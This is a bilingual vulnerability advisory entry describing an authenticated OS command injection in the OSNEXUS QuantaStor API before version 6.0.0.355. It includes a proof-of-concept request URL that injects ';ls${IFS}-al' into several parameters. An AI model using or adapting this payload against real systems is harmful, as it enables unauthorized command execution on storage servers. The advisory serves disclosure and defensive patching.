Vulnerability Information
Although we use advanced large model technology, its output may still contain inaccurate or outdated information.Shenlong tries to ensure data accuracy, but please verify and judge based on the actual situation.
Vulnerability Title
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Vulnerability Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Vulnerability Type
OS命令中使用的特殊元素转义处理不恰当(OS命令注入)
Vulnerability Title
OSNEXUS QuantaStor 操作系统命令注入漏洞
Vulnerability Description
OSNEXUS QuantaStor是美国OSNEXUS公司的一个统一的软件定义存储平台。 OSNEXUS QuantaStor 6.0.0.355之前版本存在安全漏洞。攻击者利用该漏洞通过API远程执行任意shell命令。
CVSS Information
N/A
Vulnerability Type
N/A